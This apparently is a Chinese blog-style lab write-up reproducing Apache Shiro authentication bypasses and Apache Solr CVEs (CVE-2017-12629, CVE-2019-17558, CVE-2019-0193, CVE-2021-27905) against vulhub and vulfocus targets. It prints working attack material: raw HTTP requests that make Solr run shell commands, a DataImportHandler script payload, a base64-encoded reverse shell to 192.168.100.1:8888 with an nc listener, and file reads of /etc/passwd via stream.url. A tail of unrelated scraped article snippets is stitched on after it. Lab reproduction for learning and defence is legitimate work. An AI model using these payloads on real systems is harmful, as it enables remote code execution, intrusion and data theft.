框架安全-CVE 复现Apache ShiroApache Solr漏洞复现
文章目录
- 服务攻防-框架安全&CVE 复现&Apache Shiro&Apache Solr漏洞复现
- 中间件列表
- 常见开发框架
- Apache Shiro-组件框架安全
- 暴露的安全问题
- 漏洞复现
- Apache Shiro认证绕过漏洞(CVE-2020-1957)
- CVE-2020-11989验证绕过漏洞
- CVE_2016_4437 Shiro-550 && CVE-2019-12422 Shiro-721 漏洞复现
- Apache Solr-组件框架安全
- 披露的安全问题
- 漏洞复现
- Apache Solr 远程命令执行漏洞(CVE-2017-12629)
- 任意文件读取&&命令执行(CVE-2019-17558)
- 远程命令执行漏洞(CVE-2019-0193)
- Solr 任意文件读取&& SSRF (CVE-2021-27905)
服务攻防-框架安全&CVE 复现&Apache Shiro&Apache Solr漏洞复现
中间件列表
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等
常见开发框架
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl
常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等
JAVA:Spring MyBatis Hibernate Struts2 Springboot 等
Python:Django Flask Bottle Turbobars Tornado Web2py 等
Javascript:Vue.js Node.js Bootstrap JQuery Angular 等
Apache Shiro-组件框架安全
详解:shiro(java安全框架)
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
暴露的安全问题
Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞[CVE-2016-4483]
Apache Shiro < 1.3.2 验证绕过漏洞[CVE-2016-2807]
Apache Shiro < 1.4.2 cookie oracle padding 漏洞 [CVE-2019-12442]
Apache Shiro < 1.5.2 验证绕过漏洞 [CVE-2020-1957]
Apache Shiro < 1.5.3 验证绕过漏洞 [CVE-2020-11989]
Apahce Shiro < 1.6.0 验证绕过漏洞 [CVE-2020-13933]
Apahce Shiro < 1.7.1 权限绕过漏洞 [CVE-2020-17523]
…
漏洞复现
Apache Shiro认证绕过漏洞(CVE-2020-1957)
Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,可执行身份验证、授权、加密和会话管理。
在 1.5.2 之前的带有 Spring 动态控制器的 Apache Shiro 版本中,攻击者可以使用来构建恶意构建的请求,从而绕过目录身份验证。
..;
影响范围:Apache Shiro < 1.5.3
靶场:vulhub
参考:Apache Shiro认证绕过漏洞(CVE-2020-1957)复现
开启环境:
访问web界面:
对管理页面的直接请求是不可访问的,将被重定向到登录页面。/admin/
构建恶意请求以绕过身份验证检查并访问管理页面。
payload:/xxx/..;/admin/
http://you-ip:8080/xxx/..;/admin/
CVE-2020-11989验证绕过漏洞
将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。
靶场:vulfocus
开启环境:
访问web界面:
Poc:/admin/%20
影响范围:Apache Shiro < 1.7.1
环境可能存在问题,没能跳转绕过。可使用github上的项目进行测试。
项目地址:shiro-cve-2020-17523
下载完成过后构建即可。具体可参考说明文档。
CVE_2016_4437 Shiro-550 && CVE-2019-12422 Shiro-721 漏洞复现
漏洞原理以及复现过程:
shiro反序列化漏洞Shiro-550/Shiro-721反序列化
Apache Solr-组件框架安全
详解:Solr详解
Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和
Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全
文搜索服务器。Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
披露的安全问题
远程命令执行 RCE(CVE-2017-12629)
远程命令执行 XXE(CVE-2017-12629)
任意文件读取 AND 命令执行(CVE-2019-17558)
远程命令执行漏洞(CVE-2019-0192)
远程命令执行漏洞(CVE-2019-0193)
未授权上传漏洞(CVE-2020-13957)
Apache Solr SSRF (CVE-2021-27905)
…
漏洞复现
Apache Solr 远程命令执行漏洞(CVE-2017-12629)
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。
环境:vulhub
参考:CVE-2017-12629-RCE复现
开启环境:
访问web界面:
利用:
首先创建一个listener,其中设置exe的值为我们想执行的命令,args的值是命令参数:
//数据包内容:
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Length: 161{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/rumilc.txt"]}}
然后进行update操作,触发刚才添加的listener:
//数据包内容:
POST /solr/demo/update HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Connection: close
Content-Type: application/json
Content-Length: 15[{"id":"test"}]
验证:
docker ps 查看容器id
docker exec -it 容器id bash
成功创建
可将命令换成反弹shell命令,进行反弹shell,逻辑思路不变,命令需要进行base64编码。
任意文件读取&&命令执行(CVE-2019-17558)
Solr 是基于 Apache Lucene(TM) 构建的流行、超快的开源企业搜索平台。
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。
靶场:vulfocus
开启环境:
访问web界面:
手工复现参考:通过 Velocity 自定义模板的 Apache Solr 远程代码执行
脚本工具:EXP地址
脚本一步到位,命令执行:
python2 solr_rce.py http://192.168.100.134:14226 id
python2 solr_rce.py http://192.168.100.134:14226 whoami
读取/查看文件:
python2 solr_rce.py http://192.168.100.134:14226 "cat /etc/passwd"
远程命令执行漏洞(CVE-2019-0193)
Apache Solr < 8.2.0 版本
Apache Solr 是一个开源的搜索服务器。 Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。 它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。 由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
靶场:vulhub
参考:Apache Solr 远程命令执行漏洞(CVE-2019-0193)复现
开启环境:
访问web界面:
刚上来需要进行登录,需要登录之后的状态才可以。
执行命令:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
命令执行成功后,需要等待一会,之后访问即可查看到Apache solr的管理页面,无需登录。
接下来,首先打开刚刚创建好的核心,选择Dataimport功能并选择debug模式:
填入以下POC:test
<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/rumilc.txt");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>
点击Execute with this Confuguration
执行
执行过后,等待一下:
验证:
docker ps
docker exec -it 容器id bash
成功创建
可将命令换成反弹shell命令,需要进行base64编码,尝试反弹:
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
编码后:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
POC:
<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>
监听端开启监听
nc -lvvp 8888
执行过后,稍等一下:
成功反弹shell:
Solr 任意文件读取&& SSRF (CVE-2021-27905)
Apache Solr 是一个开源搜索服务器。该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。当 Apache Solr 不启用身份验证时,攻击者可以直接构建请求以启用特定配置,并最终导致 SSRF 或任意文件读取。
靶场:vulhub
参考:Apache Solr RemoteStreaming 任意文件读取和 SSRF
开启环境:
访问web界面:
利用:
//首先,访问提取数据库名称:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
发送如下请求,修改数据库配置启用:demo
RemoteStreaming
//数据包如下:
POST /solr/demo/config HTTP/1.1
Host: 192.168.100.134:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 80{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
发送数据包:
然后通过以下方式读取任意文件:stream.url
//curl -i -s -k 'http://your-ip:8983/solr/demo/debug/dump param=ContentStreams&stream.url=file:///etc/passwd'curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd"
成功读取:
查看组信息:
curl -i -s -k "http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/group"
其他开发框架安全问题以及漏洞复现可参考:
框架安全-CVE 复现&Spring&Struts&Laravel&ThinkPHP漏洞复现
框架安全-CVE 漏洞复现&Django&Flask&Node.js&JQuery框架漏洞复现
相关文章:

框架安全-CVE 复现Apache ShiroApache Solr漏洞复现
文章目录 服务攻防-框架安全&CVE 复现&Apache Shiro&Apache Solr漏洞复现中间件列表常见开发框架Apache Shiro-组件框架安全暴露的安全问题漏洞复现Apache Shiro认证绕过漏洞(CVE-2020-1957)CVE-2020-11989验证绕过漏洞CVE_2016_4437 Shiro-…...

【OpenCV实现图像梯度,Canny边缘检测】
文章目录 概要图像梯度Canny边缘检测小结 概要 OpenCV中,可以使用各种函数实现图像梯度和Canny边缘检测,这些操作对于图像处理和分析非常重要。 图像梯度通常用于寻找图像中的边缘和轮廓。在OpenCV中,可以使用cv2.Sobel()函数计算图像的梯度…...
Spring Boot 解决跨域问题的 5种方案
跨域问题本质是浏览器的一种保护机制,它的初衷是为了保证用户的安全,防止恶意网站窃取数据。 一、跨域三种情况 在请求时,如果出现了以下情况中的任意一种,那么它就是跨域请求: 协议不同,如 http 和 https…...
linux 3.13版本nvme驱动阅读记录一
内核版本较低的nvme驱动代码不多,而且使用的是单队列的架构,阅读起来会轻松一点。 这个版本涉及到的nvme驱动源码文件一共就4个,两个nvme.h文件,分别在include/linux ,include/uapi/linux目录下,nvme-core.c是主要源码…...

掌握RESTful API:规范与设计详解
前言 RAML (RESTful API Modeling Language) 和 OAS (OpenAPI Specification) 都是用于描述和定义 RESTful API 的规范。它们分别提供了不同的功能和优势。 RAML(RESTful API Modeling Language): RAML简介 RAML(RESTful API M…...

「更新」Topaz Video AI v4.0.3中文版
Topaz Video AI是一款功能强大的视频处理软件,它利用人工智能技术对视频进行智能分析和优化,旨在为用户提供高效、智能的视频编辑和增强功能。 首先,Topaz Video AI具备强大的视频修复功能。它可以自动识别并修复视频中的各种问题࿰…...

OpenAI最新官方GPT最佳实践指南,一文讲清ChatGPT的Prompt玩法
原文:Sina Visitor System OpenAI的官网发表万字GPT最佳实践指南,讲清Prompt提示词的原则和策略,这里是总结和全文翻译 原创图像,AI辅助生成 OpenAI的官网上刚刚发表一篇万字的GPT最佳实践指南,这份指南把写好Promp…...

树结构及其算法-用链表来实现二叉树
目录 树结构及其算法-用链表来实现二叉树 C代码 树结构及其算法-用链表来实现二叉树 以链表实现二叉树就是使用链表来存储二叉树,也就是运用动态分配内存和指针的方式来建立二叉树。 使用链表来表示二叉树的好处是节点的增加与删除操作相当容易,缺点…...
openwrt(三):在hostapd获取已关联的STA的MAC地址
在深度开发openwrt的hostapd模块的时候,有些功能的实现需要获取已关联的sta的mac地址,下面是相关的方法描述: 第一、在sta_info.c文件中,可以找到一个名为struct hostap_sta_info * hostapd_get_sta(struct hostapd_data *hapd, …...

为何袁世凯要把“元宵节”改为“上元节”?
网民把春节除夕日排除在法定假期之外的相关热议,在微博评论区部分已被关闭。官方学者的解释是:“回归传统。” 这就令人难免要回顾历史,并发觉只有在袁世凯称帝之后,才有过取消“元宵节”改为“上元节”的笑话,因为“元…...

python将图片序列保存成gif
这里用到的模块是imageio。用imageio.mimsave即可将图片序列保存成gif动态图。以下是本人编写的小实验: import cv2 import imageiopaths ["./images/0001.png", "./images/0002.png", "./images/0003.png", ...] frames [] for i…...
UE4用C++修改蓝图对象的属性值
if (auto Property FindFProperty<FStrProperty>(Class, "A")){Object->Modify();Property->SetPropertyValue_InContainer(Object.GetClass(), "OK");}...

供应商等级:一级、二级和三级供应商之间有什么区别
作为一名专业采购人员,你知道拥有一个可靠且具有成本效益的供应链有多么重要。确保供应链顺利运行的方法之一就是利用供应商分级。 什么是供应商分级? 供应商分级是根据供应商的绩效和对企业的重要性,对其进行分类的做法。 因此,…...
软考 系统架构设计师系列知识点之净室软件工程(3)
接前一篇文章:软考 系统架构设计师系列知识点之净室软件工程(2) 所属章节: 第5章. 软件工程基础知识 第5节. 净室软件工程 相关试题 1. 以下关于软件开发方法的叙述,错误的是()。 A. 对于较为…...
『VUE H5页面 - PDF预览』
使用依赖:vue-pdf实现需求:将 PDF url 地址 转换为本地页面预览 <template><div class"pdf-preview"><NavBar /><div class"container"><VuePdf v-for"i in numPages" :key"i" cla…...

使用lua-resty-request库编写爬虫IP实现数据抓取
目录 一、lua-resty-request库介绍 二、使用lua-resty-request库进行IP数据抓取 1、获取IP地址 2、设置请求 3、处理数据 三、代码实现 四、注意事项 五、总结 本文将深入探讨如何使用lua-resty-request库在爬虫程序中实现IP数据抓取。我们将首先介绍lua-resty-request…...

vue-admin-templete项目配置在手机上预览
参考文档: https://blog.csdn.net/qq_29752857/article/details/109802801想要在手机上预览本地打开的vue-admin-templete项目,首先要确保手机和电脑在同一网段。 参考文档:https://blog.csdn.net/m0_57236802/article/details/1315234471.查…...

服务号升级订阅号的流程
服务号和订阅号有什么区别?服务号转为订阅号有哪些作用?首先我们要知道服务号和订阅号有什么区别。服务号侧重于对用户进行服务,每月可推送4次,每次最多8篇文章,发送的消息直接显示在好友列表中。订阅号更侧重于信息传…...
redhat7.4 安装lnmp操作环境
PacVim安装 https://baijiahao.baidu.com/s?id1601033830453371540&wfrspider&forpc 安装php https://www.cnblogs.com/alliancehacker/p/12255445.html https://blog.csdn.net/weixin_39709920/article/details/104274545 安装mysql https://www.cnblogs.com/laumian…...
Java判断是否有特殊字符串
//特殊字符串过滤private static String REGEX_RULE "[ _~!#$%^&*()|{}:;,\\[\\].<>/?~!#¥%……&*()——|{}【】‘;:\"”“’。,、?]|\n|\r|\t";pri…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了: 这一篇我们开始讲: 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下: 一、场景操作步骤 操作步…...

循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...
系统设计 --- MongoDB亿级数据查询优化策略
系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log,共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题,不能使用ELK只能使用…...
Nginx server_name 配置说明
Nginx 是一个高性能的反向代理和负载均衡服务器,其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机(Virtual Host)。 1. 简介 Nginx 使用 server_name 指令来确定…...

【2025年】解决Burpsuite抓不到https包的问题
环境:windows11 burpsuite:2025.5 在抓取https网站时,burpsuite抓取不到https数据包,只显示: 解决该问题只需如下三个步骤: 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...

九天毕昇深度学习平台 | 如何安装库?
pip install 库名 -i https://pypi.tuna.tsinghua.edu.cn/simple --user 举个例子: 报错 ModuleNotFoundError: No module named torch 那么我需要安装 torch pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple --user pip install 库名&#x…...
【SpringBoot自动化部署】
SpringBoot自动化部署方法 使用Jenkins进行持续集成与部署 Jenkins是最常用的自动化部署工具之一,能够实现代码拉取、构建、测试和部署的全流程自动化。 配置Jenkins任务时,需要添加Git仓库地址和凭证,设置构建触发器(如GitHub…...
Spring Boot + MyBatis 集成支付宝支付流程
Spring Boot MyBatis 集成支付宝支付流程 核心流程 商户系统生成订单调用支付宝创建预支付订单用户跳转支付宝完成支付支付宝异步通知支付结果商户处理支付结果更新订单状态支付宝同步跳转回商户页面 代码实现示例(电脑网站支付) 1. 添加依赖 <!…...

rm视觉学习1-自瞄部分
首先先感谢中南大学的开源,提供了很全面的思路,减少了很多基础性的开发研究 我看的阅读的是中南大学FYT战队开源视觉代码 链接:https://github.com/CSU-FYT-Vision/FYT2024_vision.git 1.框架: 代码框架结构:readme有…...